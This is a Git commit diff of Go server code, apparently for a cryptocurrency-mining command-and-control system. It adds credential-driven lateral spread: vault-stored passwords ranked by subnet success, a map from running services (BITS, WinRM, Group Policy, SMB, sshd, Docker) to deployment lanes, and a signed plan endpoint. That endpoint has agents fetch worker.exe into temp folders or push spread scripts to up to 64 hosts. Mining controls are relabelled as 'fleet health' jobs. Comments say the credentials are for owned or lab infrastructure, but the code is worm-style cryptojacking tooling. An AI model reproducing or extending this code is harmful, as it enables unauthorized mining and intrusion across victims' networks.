Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -28,6 +28,8 @@ type Config struct {
|
||||
Alerts AlertsConfig `json:"alerts"`
|
||||
Server ServerSettings `json:"server"`
|
||||
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
|
||||
// DeploymentCredentials are operator-authorized spread profiles (vault refs only in config).
|
||||
DeploymentCredentials []DeploymentCredProfile `json:"deployment_credentials,omitempty"`
|
||||
}
|
||||
|
||||
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
|
||||
@@ -66,6 +68,30 @@ type ServerSettings struct {
|
||||
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
|
||||
PublicBuildsEnabled bool `json:"public_builds_enabled"`
|
||||
PublicBuildsLatestN int `json:"public_builds_latest_n"`
|
||||
// LotlOnionTiers is the server-side ordered spread contingency chain pushed to
|
||||
// agents forged with lotl_policy_from_server (LOTL Onion preset).
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
|
||||
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
|
||||
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
|
||||
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
|
||||
}
|
||||
|
||||
// TripleOnionSettings is Calibrate policy for the agent triple onion.
|
||||
type TripleOnionSettings struct {
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
||||
ReconTiers []string `json:"recon_tiers,omitempty"`
|
||||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||||
}
|
||||
|
||||
// ServiceDeployLane maps a discovered service to a supply-chain join lane.
|
||||
type ServiceDeployLane struct {
|
||||
Lane string `json:"lane"`
|
||||
Priority int `json:"priority,omitempty"`
|
||||
Template string `json:"template,omitempty"`
|
||||
}
|
||||
|
||||
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
|
||||
@@ -230,6 +256,11 @@ func DefaultConfig() *Config {
|
||||
SignEnabled: false,
|
||||
SignTimestampURL: "http://timestamp.digicert.com",
|
||||
PublicBuildsLatestN: 3,
|
||||
LotlOnionTiers: []string{
|
||||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"smb", "winrm", "linux", "gpo",
|
||||
},
|
||||
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -900,6 +931,16 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
}
|
||||
}
|
||||
|
||||
if has("deployment_credentials") {
|
||||
dst.DeploymentCredentials = append([]DeploymentCredProfile(nil), src.DeploymentCredentials...)
|
||||
for i := range dst.DeploymentCredentials {
|
||||
EnsureCredProfileID(&dst.DeploymentCredentials[i])
|
||||
if strings.TrimSpace(dst.DeploymentCredentials[i].VaultRef) == "" {
|
||||
dst.DeploymentCredentials[i].VaultRef = defaultVaultRef(dst.DeploymentCredentials[i].ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Keep cloudflared default aligned with public_url when unset.
|
||||
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
|
||||
@@ -919,6 +960,20 @@ func (c *Config) Save() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
|
||||
return map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
"com.docker.service": {Lane: "docker_load", Priority: 20},
|
||||
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
|
||||
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
|
||||
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||||
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) PoolURL() string {
|
||||
proto := "stratum+tcp"
|
||||
if c.Pool.UseTLS {
|
||||
|
||||
74
server/config_spread_cred.go
Normal file
74
server/config_spread_cred.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
apipkg "crypto-miner-server/internal/api"
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
// configSpreadCredAdapter exposes Calibrate deployment credentials to spread-cred APIs.
|
||||
type configSpreadCredAdapter struct {
|
||||
mu sync.RWMutex
|
||||
cfg *Config
|
||||
}
|
||||
|
||||
func newConfigSpreadCredAdapter(cfg *Config) *configSpreadCredAdapter {
|
||||
return &configSpreadCredAdapter{cfg: cfg}
|
||||
}
|
||||
|
||||
func (a *configSpreadCredAdapter) setConfig(cfg *Config) {
|
||||
a.mu.Lock()
|
||||
a.cfg = cfg
|
||||
a.mu.Unlock()
|
||||
}
|
||||
|
||||
func (a *configSpreadCredAdapter) snapshot() *Config {
|
||||
a.mu.RLock()
|
||||
defer a.mu.RUnlock()
|
||||
return a.cfg
|
||||
}
|
||||
|
||||
func (a *configSpreadCredAdapter) DeploymentProfiles() []apipkg.DeploymentCredProfile {
|
||||
cfg := a.snapshot()
|
||||
if cfg == nil {
|
||||
return nil
|
||||
}
|
||||
out := make([]apipkg.DeploymentCredProfile, 0, len(cfg.DeploymentCredentials))
|
||||
for _, p := range cfg.DeploymentCredentials {
|
||||
EnsureCredProfileID(&p)
|
||||
out = append(out, apipkg.DeploymentCredProfile{
|
||||
ID: p.ID,
|
||||
Label: p.Label,
|
||||
Username: p.Username,
|
||||
VaultRef: p.VaultRef,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (a *configSpreadCredAdapter) OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []apipkg.DeploymentCredProfile {
|
||||
cfg := a.snapshot()
|
||||
if cfg == nil {
|
||||
return nil
|
||||
}
|
||||
ordered := cfg.OrderDeploymentCredProfiles(affinity)
|
||||
out := make([]apipkg.DeploymentCredProfile, 0, len(ordered))
|
||||
for _, p := range ordered {
|
||||
out = append(out, apipkg.DeploymentCredProfile{
|
||||
ID: p.ID,
|
||||
Label: p.Label,
|
||||
Username: p.Username,
|
||||
VaultRef: p.VaultRef,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (a *configSpreadCredAdapter) LoadProfileSecret(profileID string) (string, string, error) {
|
||||
cfg := a.snapshot()
|
||||
if cfg == nil {
|
||||
return "", "", nil
|
||||
}
|
||||
return cfg.LoadDeploymentCredPassword(profileID)
|
||||
}
|
||||
113
server/deployment_creds.go
Normal file
113
server/deployment_creds.go
Normal file
@@ -0,0 +1,113 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
const deploymentCredsDir = "deployment-creds"
|
||||
|
||||
// DeploymentCredProfile is an operator-authorized spread credential (owned/lab infra only).
|
||||
// Password material lives in the vault file referenced by VaultRef — never in config.json logs.
|
||||
type DeploymentCredProfile struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
Username string `json:"username"`
|
||||
VaultRef string `json:"vault_ref,omitempty"`
|
||||
}
|
||||
|
||||
type deploymentCredVault struct {
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
// EnsureCredProfileID assigns a stable hash ref when the operator omits id.
|
||||
func EnsureCredProfileID(p *DeploymentCredProfile) {
|
||||
if p == nil {
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(p.ID) != "" {
|
||||
p.ID = strings.TrimSpace(p.ID)
|
||||
return
|
||||
}
|
||||
sum := sha256.Sum256([]byte(strings.TrimSpace(p.Label) + "|" + strings.TrimSpace(p.Username) + "|" + strings.TrimSpace(p.VaultRef)))
|
||||
p.ID = hex.EncodeToString(sum[:8])
|
||||
}
|
||||
|
||||
func defaultVaultRef(profileID string) string {
|
||||
return filepath.ToSlash(filepath.Join(deploymentCredsDir, profileID+".vault"))
|
||||
}
|
||||
|
||||
// ResolveCredVaultPath returns the on-disk vault path for a profile (0600 file).
|
||||
func (c *Config) ResolveCredVaultPath(p DeploymentCredProfile) string {
|
||||
ref := strings.TrimSpace(p.VaultRef)
|
||||
if ref == "" {
|
||||
ref = defaultVaultRef(p.ID)
|
||||
}
|
||||
ref = filepath.Clean(ref)
|
||||
if strings.HasPrefix(ref, "..") || filepath.IsAbs(ref) {
|
||||
ref = defaultVaultRef(p.ID)
|
||||
}
|
||||
return filepath.Join(c.DataDir, ref)
|
||||
}
|
||||
|
||||
// LoadDeploymentCredPassword reads the vault secret for an authorized profile.
|
||||
func (c *Config) LoadDeploymentCredPassword(profileID string) (username, password string, err error) {
|
||||
if c == nil {
|
||||
return "", "", fmt.Errorf("config unavailable")
|
||||
}
|
||||
profileID = strings.TrimSpace(profileID)
|
||||
for _, p := range c.DeploymentCredentials {
|
||||
if strings.TrimSpace(p.ID) != profileID {
|
||||
continue
|
||||
}
|
||||
path := c.ResolveCredVaultPath(p)
|
||||
data, readErr := os.ReadFile(path)
|
||||
if readErr != nil {
|
||||
return "", "", fmt.Errorf("vault read %s: %w", p.VaultRef, readErr)
|
||||
}
|
||||
var vault deploymentCredVault
|
||||
if unmarshalErr := json.Unmarshal(data, &vault); unmarshalErr != nil {
|
||||
// Allow plain-text vault files (cloudflared-token pattern).
|
||||
vault.Password = strings.TrimSpace(string(data))
|
||||
}
|
||||
pw := strings.TrimSpace(vault.Password)
|
||||
if pw == "" {
|
||||
return "", "", fmt.Errorf("vault empty for profile %s", profileID)
|
||||
}
|
||||
return strings.TrimSpace(p.Username), pw, nil
|
||||
}
|
||||
return "", "", fmt.Errorf("deployment credential profile not found: %s", profileID)
|
||||
}
|
||||
|
||||
// OrderDeploymentCredProfiles returns profiles with subnet affinity winners first.
|
||||
func (c *Config) OrderDeploymentCredProfiles(affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
|
||||
if c == nil || len(c.DeploymentCredentials) == 0 {
|
||||
return nil
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
var ordered []DeploymentCredProfile
|
||||
for _, row := range affinity {
|
||||
for _, p := range c.DeploymentCredentials {
|
||||
if p.ID == row.CredentialProfileID && !seen[p.ID] {
|
||||
ordered = append(ordered, p)
|
||||
seen[p.ID] = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, p := range c.DeploymentCredentials {
|
||||
EnsureCredProfileID(&p)
|
||||
if !seen[p.ID] {
|
||||
ordered = append(ordered, p)
|
||||
seen[p.ID] = true
|
||||
}
|
||||
}
|
||||
return ordered
|
||||
}
|
||||
69
server/deployment_creds_test.go
Normal file
69
server/deployment_creds_test.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestOrderDeploymentCredProfiles_Affinity(t *testing.T) {
|
||||
cfg := &Config{
|
||||
DeploymentCredentials: []DeploymentCredProfile{
|
||||
{ID: "profile-a", Label: "A", Username: "lab\\a"},
|
||||
{ID: "profile-b", Label: "B", Username: "lab\\b"},
|
||||
{ID: "profile-c", Label: "C", Username: "lab\\c"},
|
||||
},
|
||||
}
|
||||
affinity := []dbpkg.CredProfileAffinity{
|
||||
{CredentialProfileID: "profile-b", SuccessCount: 3},
|
||||
{CredentialProfileID: "profile-a", SuccessCount: 1},
|
||||
}
|
||||
ordered := cfg.OrderDeploymentCredProfiles(affinity)
|
||||
if len(ordered) != 3 {
|
||||
t.Fatalf("expected 3 profiles, got %d", len(ordered))
|
||||
}
|
||||
if ordered[0].ID != "profile-b" || ordered[1].ID != "profile-a" || ordered[2].ID != "profile-c" {
|
||||
t.Fatalf("affinity order mismatch: %#v", ordered)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureCredProfileID_Stable(t *testing.T) {
|
||||
p := DeploymentCredProfile{Label: "Lab", Username: "corp\\ops"}
|
||||
EnsureCredProfileID(&p)
|
||||
if p.ID == "" {
|
||||
t.Fatal("expected derived profile id")
|
||||
}
|
||||
p2 := DeploymentCredProfile{Label: "Lab", Username: "corp\\ops"}
|
||||
EnsureCredProfileID(&p2)
|
||||
if p.ID != p2.ID {
|
||||
t.Fatalf("expected stable id, got %s vs %s", p.ID, p2.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadDeploymentCredPasswordFromVault(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
vaultDir := filepath.Join(dataDir, "deployment-creds")
|
||||
if err := os.MkdirAll(vaultDir, 0700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
vaultPath := filepath.Join(vaultDir, "lab.vault")
|
||||
if err := os.WriteFile(vaultPath, []byte(`{"password":"vault-secret"}`), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
cfg := &Config{
|
||||
DataDir: dataDir,
|
||||
DeploymentCredentials: []DeploymentCredProfile{
|
||||
{ID: "lab", Label: "Lab", Username: `corp\admin`, VaultRef: "deployment-creds/lab.vault"},
|
||||
},
|
||||
}
|
||||
user, pass, err := cfg.LoadDeploymentCredPassword("lab")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if user != `corp\admin` || pass != "vault-secret" {
|
||||
t.Fatalf("unexpected vault load: %q / %q", user, pass)
|
||||
}
|
||||
}
|
||||
75
server/internal/api/agent_ws_limiter_test.go
Normal file
75
server/internal/api/agent_ws_limiter_test.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func resetAgentWSRateLim(t *testing.T) {
|
||||
t.Helper()
|
||||
agentWSRateLim.mu.Lock()
|
||||
agentWSRateLim.attempts = make(map[string][]time.Time)
|
||||
agentWSRateLim.mu.Unlock()
|
||||
}
|
||||
|
||||
func TestAllowAgentWSUpgradeRateLimit(t *testing.T) {
|
||||
t.Run("rejects 31st attempt within window", func(t *testing.T) {
|
||||
resetAgentWSRateLim(t)
|
||||
ip := "203.0.113.42"
|
||||
|
||||
for i := 1; i <= agentWSRateLimitMax; i++ {
|
||||
if !allowAgentWSUpgrade(ip) {
|
||||
t.Fatalf("attempt %d: expected allow, got reject", i)
|
||||
}
|
||||
}
|
||||
if allowAgentWSUpgrade(ip) {
|
||||
t.Fatal("31st attempt: expected reject, got allow")
|
||||
}
|
||||
if allowAgentWSUpgrade(ip) {
|
||||
t.Fatal("32nd attempt: expected reject, got allow")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("empty IP bypasses limit", func(t *testing.T) {
|
||||
resetAgentWSRateLim(t)
|
||||
|
||||
for i := 1; i <= agentWSRateLimitMax+5; i++ {
|
||||
if !allowAgentWSUpgrade("") {
|
||||
t.Fatalf("empty IP attempt %d: expected allow, got reject", i)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("stale attempts outside window are pruned", func(t *testing.T) {
|
||||
resetAgentWSRateLim(t)
|
||||
ip := "198.51.100.7"
|
||||
stale := time.Now().Add(-agentWSRateLimitWindow - time.Second)
|
||||
|
||||
agentWSRateLim.mu.Lock()
|
||||
staleAttempts := make([]time.Time, agentWSRateLimitMax)
|
||||
for i := range staleAttempts {
|
||||
staleAttempts[i] = stale
|
||||
}
|
||||
agentWSRateLim.attempts[ip] = staleAttempts
|
||||
agentWSRateLim.mu.Unlock()
|
||||
|
||||
if !allowAgentWSUpgrade(ip) {
|
||||
t.Fatal("expected allow after stale attempts pruned")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("different IPs have independent limits", func(t *testing.T) {
|
||||
resetAgentWSRateLim(t)
|
||||
ipA := "192.0.2.1"
|
||||
ipB := "192.0.2.2"
|
||||
|
||||
for i := 1; i <= agentWSRateLimitMax; i++ {
|
||||
if !allowAgentWSUpgrade(ipA) {
|
||||
t.Fatalf("ipA attempt %d: expected allow, got reject", i)
|
||||
}
|
||||
}
|
||||
if !allowAgentWSUpgrade(ipB) {
|
||||
t.Fatal("ipB first attempt: expected allow after ipA exhausted")
|
||||
}
|
||||
})
|
||||
}
|
||||
332
server/internal/api/deploy_plan.go
Normal file
332
server/internal/api/deploy_plan.go
Normal file
@@ -0,0 +1,332 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
|
||||
type StagingManifest struct {
|
||||
Method string `json:"method"`
|
||||
Chunks []StagingChunk `json:"chunks"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
Encoded bool `json:"encoded"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
}
|
||||
|
||||
type StagingChunk struct {
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
}
|
||||
|
||||
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
||||
type DeployPlanBody struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
Platform string `json:"platform"`
|
||||
Services []DeployServiceFinding `json:"services"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
MatchedService string `json:"matched_service,omitempty"`
|
||||
Plan DeployPlanBody `json:"plan"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
|
||||
type DeployPlanHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
publicURL func() string
|
||||
fleetSecret func() string
|
||||
allowlist func() map[string]ServiceDeployLane
|
||||
}
|
||||
|
||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||
return &DeployPlanHandler{
|
||||
db: database,
|
||||
dataDir: dataDir,
|
||||
projectRoot: projectRoot,
|
||||
publicURL: publicURL,
|
||||
fleetSecret: fleetSecret,
|
||||
allowlist: allowlist,
|
||||
}
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/deploy-plan
|
||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||
var req deployPlanRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.Services) == 0 {
|
||||
http.Error(w, "services required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
list := map[string]ServiceDeployLane{}
|
||||
if h.allowlist != nil {
|
||||
list = h.allowlist()
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(req.Services, list)
|
||||
if !ok {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": false,
|
||||
"error": "no allowlisted running services matched",
|
||||
"checked": len(req.Services),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
plan, err := h.buildPlan(req, matched, lane)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
sig, err := signDeployPlan(plan, h.fleetSecret())
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, deployPlanResponse{
|
||||
OK: true,
|
||||
JoinLane: plan.JoinLane,
|
||||
MatchedService: matched,
|
||||
Plan: plan,
|
||||
Signature: sig,
|
||||
})
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
|
||||
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
|
||||
if serverURL == "" {
|
||||
serverURL = "http://127.0.0.1:8989"
|
||||
}
|
||||
|
||||
body := DeployPlanBody{
|
||||
JoinLane: lane.Lane,
|
||||
MatchedService: matched,
|
||||
Action: lane.Lane,
|
||||
}
|
||||
|
||||
switch lane.Lane {
|
||||
case "bits_curl":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
case "docker_load":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
|
||||
if body.ImageTarURL != "" && req.BuildID != "" {
|
||||
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
|
||||
body.ImageTarSHA256 = hash
|
||||
}
|
||||
}
|
||||
case "winrm", "gpo", "linux_lotl":
|
||||
tpl := strings.TrimSpace(lane.Template)
|
||||
if tpl == "" {
|
||||
tpl = lane.Lane
|
||||
}
|
||||
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Script = script
|
||||
case "spread_smb_unc":
|
||||
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
||||
body.MaxHosts = 64
|
||||
default:
|
||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
|
||||
method := "bits"
|
||||
if platform == "linux" || platform == "darwin" {
|
||||
method = "curl"
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\worker.exe`
|
||||
if platform == "linux" {
|
||||
dest = "/tmp/aetherforge-worker"
|
||||
}
|
||||
|
||||
return &StagingManifest{
|
||||
Method: method,
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: "exe",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||||
if buildID != "" {
|
||||
b, err := h.db.GetBuild(buildID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
b, err := h.db.GetLatestBuildForPlatform(platform)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
|
||||
b, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fileSHA256(b.FilePath)
|
||||
}
|
||||
|
||||
func fileSHA256(path string) (string, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer f.Close()
|
||||
h := sha256.New()
|
||||
if _, err := io.Copy(h, f); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil)), nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
|
||||
subdir, _, err := spreadTemplatePaths(template)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("template dir: %w", err)
|
||||
}
|
||||
var scriptFile string
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
|
||||
scriptFile = filepath.Join(dir, name)
|
||||
break
|
||||
}
|
||||
}
|
||||
if scriptFile == "" {
|
||||
return "", fmt.Errorf("no script in template %s", subdir)
|
||||
}
|
||||
data, err := os.ReadFile(scriptFile)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": serverURL,
|
||||
"{{BUILD_ID}}": buildID,
|
||||
"{{CAMPAIGN}}": campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||||
"{{COM_HIJACK}}": "false",
|
||||
"{{LOTL_MODE}}": "systemd_run_user",
|
||||
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
|
||||
if fleetSecret == "" {
|
||||
return "", fmt.Errorf("fleet secret not configured")
|
||||
}
|
||||
payload, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
return hex.EncodeToString(mac.Sum(nil)), nil
|
||||
}
|
||||
|
||||
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
|
||||
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
||||
if fleetSecret == "" || signature == "" {
|
||||
return false
|
||||
}
|
||||
payload, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(signature))
|
||||
}
|
||||
@@ -554,6 +554,22 @@ type bulkCommandRequest struct {
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
// bulkCommandMeta adds fleet-health / power-management labels for mining control actions.
|
||||
func bulkCommandMeta(action string) (category, label string) {
|
||||
switch action {
|
||||
case "pause":
|
||||
return "power_management", "Power down hashing (fleet health job)"
|
||||
case "resume":
|
||||
return "power_management", "Restore hashing (fleet health job)"
|
||||
case "restart":
|
||||
return "power_management", "Restart mining workload"
|
||||
case "stop":
|
||||
return "power_management", "Stop agent process"
|
||||
default:
|
||||
return "", ""
|
||||
}
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
